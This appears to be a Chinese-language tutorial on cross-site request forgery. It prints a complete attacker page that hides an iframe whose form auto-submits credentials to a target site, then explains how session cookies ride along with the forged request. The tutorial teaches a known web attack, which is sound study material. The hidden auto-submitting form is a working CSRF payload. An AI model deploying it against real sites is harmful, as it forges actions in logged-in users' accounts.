1、攻击者在“页面1”中http://www.b.com/indexb.html中写下如下代码:
1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">View Code
2
3 <html>
4
5 <head>
6
7 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
8
9 <title>Welcome to CSRF</title>
10
11 </head>
12
13 <p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>
14
15 <body>
16 <!--hidden属性使内联框架iframe隐藏,这样的CSRF隐蔽-->
17 <iframe hidden width=1000 heigth=100 src="#" srcdoc='
18
19 <form action="http://www.a.com/indexa.html" id="register" method="get" name="form">
20 <input type=text name="username" value="" />
21 <input type=password name="password" value="" />
22 </form>
23
24 <script>
25 var f = document.getElementById("register");
26 console.log(f.username.value);
27 f.username.value="test";
28 f.password.value="passwd";
29 //进行自动提交
30 document.form.submit();
31 </script>
32
33 '></iframe>
34
35 </body>
36
37 </html>
2、当访问”页面1“时,这段代码向http://www.a.com/indexa.html发送了一个GET请求(当然POST也可以),而且是当用户访问的时候自动提交的。由于内嵌在iframe中且iframe设置了hidden属性,所以你看不到浏览器界面有什么变化(url没有变化,也看不到iframe)。假如用户在访问”页面1“之前已经访问过了网站”http://www.a.com/indexa.html“同域下的其他认证页面,这时,只要浏览器没有关闭或者重启的化(关闭认证的tab页没有影响),则临时cookie(一般认证通过设置cookie的方式实现)即session cookie会存在于内存中;在内存中的session cookie未消失之前,访问同域下的其他页面,浏览器就会在这些页面的header中带上cookie值。通过上面这样的方式便实现了授权的CSRF。
3、临时cookie存在于内存中,浏览器关闭或者重启,释放内存,才会清空临时cookie;本地cookie存在于硬盘上,只要到期后才会消失
4、IE浏览器目前不支持iframe的srcdoc属性,因此IE不适用本文,其他主流浏览器可以,如下所示:
5、另外除了IE浏览器,其他浏览器都可以在<iframe>/<img>/<link>/<script>等标签中发送本地cookie;但是所有浏览器都发送Session Cookie